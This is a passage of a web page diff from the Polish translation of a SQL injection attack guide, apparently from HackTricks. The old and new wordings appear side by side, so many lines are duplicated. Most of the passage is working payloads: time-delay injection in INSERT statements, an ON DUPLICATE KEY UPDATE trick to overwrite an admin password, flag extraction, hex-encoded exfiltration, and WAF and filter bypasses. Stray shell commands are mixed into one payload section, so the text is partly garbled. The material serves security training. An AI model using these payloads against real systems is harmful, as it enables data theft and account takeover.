Dodaj tyle `','',''`, ile uważasz, aby zakończyć instrukcję VALUES. Jeśli opóźnienie zostanie wykonane, masz SQLInjection.
|
||||
Dodaj tyle `','',''`, ile uważasz za konieczne, aby opuścić instrukcję VALUES. Jeśli zostanie wykonane opóźnienie, masz SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Klauzula `ON DUPLICATE KEY UPDATE` w MySQL jest wykorzystywana do określenia działań, które baza danych ma podjąć, gdy podejmowana jest próba wstawienia wiersza, co skutkowałoby duplikatem wartości w unikalnym indeksie lub kluczu głównym. Poniższy przykład ilustruje, jak ta funkcja może być wykorzystana do zmiany hasła konta administratora:
|
||||
Klauzula `ON DUPLICATE KEY UPDATE` w MySQL jest używana do określenia działań, jakie baza danych ma podjąć, gdy próbuje się wstawić wiersz, który spowodowałby duplikat wartości w UNIQUE index lub PRIMARY KEY. Poniższy przykład pokazuje, jak tę funkcję można wykorzystać do zmiany hasła konta administratora:
|
||||
|
||||
Example Payload Injection:
|
||||
Przykład payloadu injekcji:
|
||||
|
||||
Ładunek iniekcji może być skonstruowany w następujący sposób, gdzie podejmowane są próby wstawienia dwóch wierszy do tabeli `users`. Pierwszy wiersz jest wabikiem, a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem zaktualizowania hasła:
|
||||
Payload injekcji może być skonstruowany w następujący sposób, gdzie próbuje się wstawić dwa wiersze do tabeli `users`. Pierwszy wiersz jest wabikiem (decoy), a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem zaktualizowania hasła:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Oto jak to działa:
|
||||
|
||||
- Zapytanie próbuje wstawić dwa wiersze: jeden dla `generic_user@example.com` i drugi dla `admin_generic@example.com`.
|
||||
- Jeśli wiersz dla `admin_generic@example.com` już istnieje, klauzula `ON DUPLICATE KEY UPDATE` uruchamia się, instruując MySQL do zaktualizowania pola `password` istniejącego wiersza na "bcrypt_hash_of_newpassword".
|
||||
- W konsekwencji, można następnie spróbować uwierzytelnić się za pomocą `admin_generic@example.com` z hasłem odpowiadającym haszowi bcrypt ("bcrypt_hash_of_newpassword" reprezentuje hasz bcrypt nowego hasła, który powinien być zastąpiony rzeczywistym haszem pożądanego hasła).
|
||||
- Jeśli wiersz dla `admin_generic@example.com` już istnieje, klauzula `ON DUPLICATE KEY UPDATE` zostaje wywołana, instruując MySQL, aby zaktualizował pole `password` istniejącego wiersza na "bcrypt_hash_of_newpassword".
|
||||
- W konsekwencji można następnie spróbować uwierzytelnienia używając `admin_generic@example.com` z hasłem odpowiadającym hashowi bcrypt ("bcrypt_hash_of_newpassword" oznacza hash bcrypt nowego hasła, który powinien zostać zastąpiony rzeczywistym hashem wybranego hasła).
|
||||
|
||||
### Ekstrakcja informacji
|
||||
### Wyodrębnianie informacji
|
||||
|
||||
#### Tworzenie 2 kont jednocześnie
|
||||
|
||||
Podczas próby utworzenia nowego użytkownika potrzebne są nazwa użytkownika, hasło i e-mail:
|
||||
Przy próbie utworzenia nowego użytkownika wymagane są nazwa użytkownika, hasło i adres e-mail:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### Używanie dziesiętnego lub szesnastkowego
|
||||
#### Używanie systemu dziesiętnego lub szesnastkowego
|
||||
|
||||
Dzięki tej technice możesz wyodrębnić informacje, tworząc tylko 1 konto. Ważne jest, aby zauważyć, że nie musisz nic komentować.
|
||||
Dzięki tej technice możesz wydobyć informacje tworząc tylko 1 konto. Ważne jest, że nie musisz nic komentować.
|
||||
|
||||
Używając **hex2dec** i **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
Aby uzyskać tekst, możesz użyć:
|
||||
Aby pobrać tekst możesz użyć:
|
||||
|
||||
- cat src/pentesting-web/sql-injection/README.md
|
||||
- less src/pentesting-web/sql-injection/README.md
|
||||
- sed -n '1,200p' src/pentesting-web/sql-injection/README.md
|
||||
- git show HEAD:src/pentesting-web/sql-injection/README.md
|
||||
- curl -s https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md (zamień <user>/<repo>/<branch>)
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
@ -470,9 +476,9 @@ Używając **hex** i **replace** (oraz **substr**):
|
||||
```
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection to sytuacja, w której zapytanie, które można wstrzyknąć, nie jest tym, które zwraca wynik, ale wynik zapytania, które można wstrzyknąć, trafia do zapytania, które zwraca wynik. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection występuje wtedy, gdy injectable query nie jest tym, które zwraca output, lecz output z injectable query trafia do query, które zwraca output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
Przykład:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
@ -492,31 +498,31 @@ No Space (%20) - bypass przy użyciu alternatyw dla białych znaków
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
Brak białych znaków - obejście za pomocą komentarzy
|
||||
No Whitespace - bypass przy użyciu komentarzy
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
Brak białych znaków - obejście za pomocą nawiasów
|
||||
No Whitespace - bypass używając nawiasów
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Brak obejścia przecinków
|
||||
### No commas bypass
|
||||
|
||||
Brak przecinka - obejście przy użyciu OFFSET, FROM i JOIN
|
||||
No Comma - bypass z użyciem OFFSET, FROM i JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Generic Bypasses
|
||||
### Ogólne obejścia
|
||||
|
||||
Czarna lista używając słów kluczowych - obejście używając wielkich/małych liter
|
||||
Czarna lista oparta na słowach kluczowych - obejście przez użycie wielkich/małych liter
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Czarna lista używając słów kluczowych bez uwzględniania wielkości liter - obejście za pomocą operatora równoważnego
|
||||
Blacklist używający słów kluczowych bez rozróżniania wielkości liter - bypass przy użyciu równoważnego operatora
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -524,20 +530,20 @@ OR -> || -> %7C%7C
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Bypass WAF za pomocą notacji naukowej
|
||||
### Omijanie WAF przez notację naukową
|
||||
|
||||
Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku w [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
W zasadzie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:
|
||||
Szczegółowe wyjaśnienie tego triku można znaleźć na [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
W skrócie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
' or 1.e('')=
|
||||
```
|
||||
### Ominięcie Ograniczenia Nazw Kolumn
|
||||
### Omijanie ograniczenia nazw kolumn
|
||||
|
||||
Przede wszystkim zauważ, że jeśli **oryginalne zapytanie i tabela, z której chcesz wyodrębnić flagę, mają tę samą liczbę kolumn**, możesz po prostu użyć: `0 UNION SELECT * FROM flag`
|
||||
Przede wszystkim zwróć uwagę, że jeśli **oryginalne zapytanie i tabela o nazwie flag mają taką samą liczbę kolumn**, możesz po prostu zrobić: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Możliwe jest **uzyskanie dostępu do trzeciej kolumny tabeli bez użycia jej nazwy** za pomocą zapytania takiego jak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, więc w przypadku sqlinjection wyglądałoby to tak:
|
||||
Można **uzyskać dostęp do trzeciej kolumny tabeli bez używania jej nazwy** za pomocą zapytania takiego jak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, więc w sqlinjection wyglądałoby to tak:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
@ -549,7 +555,34 @@ Lub używając **comma bypass**:
|
||||
```
|
||||
Ten trik został zaczerpnięty z [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Narzędzia do sugerowania omijania WAF
|
||||
### Column/tablename injection w liście SELECT za pomocą subqueries
|
||||
|
||||
Jeżeli dane od użytkownika są konkatenowane do listy SELECT lub do identyfikatorów tabel/kolumn, prepared statements nie pomogą, ponieważ bind parameters chronią tylko wartości, a nie identyfikatory. Powszechny podatny wzorzec wygląda tak:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Pomysł eksploatacji: wstrzyknąć subquery w pozycji pola, aby exfiltrate dowolne dane:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
Notes:
|
||||
- To działa nawet gdy klauzula WHERE używa parametru powiązanego, ponieważ lista identyfikatorów jest nadal konkatenowana jako string.
|
||||
- Niektóre stosy dodatkowo pozwalają kontrolować nazwę tabeli (tablename injection), umożliwiając odczyty między tabelami.
|
||||
- Kanały wyjścia mogą odzwierciedlać wybraną wartość w HTML/JSON, pozwalając na XSS lub wykradanie tokenów bezpośrednio z odpowiedzi.
|
||||
|
||||
Mitigations:
|
||||
- Nigdy nie konkatenować identyfikatorów pochodzących z wejścia użytkownika. Mapuj dozwolone nazwy kolumn do stałej listy dozwolonych wartości i poprawnie cytuj identyfikatory.
|
||||
- Jeśli wymagany jest dynamiczny dostęp do tabel, ogranicz go do skończonego zestawu i rozwiąż po stronie serwera za pomocą bezpiecznego mapowania.
|
||||
|
||||
### Narzędzia sugerujące obejścia WAF
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -561,12 +594,15 @@ https://github.com/m4ll0k/Atlas
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Lista wykrywania ataków Brute-Force
|
||||
## Lista wykrywania Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Referencje
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user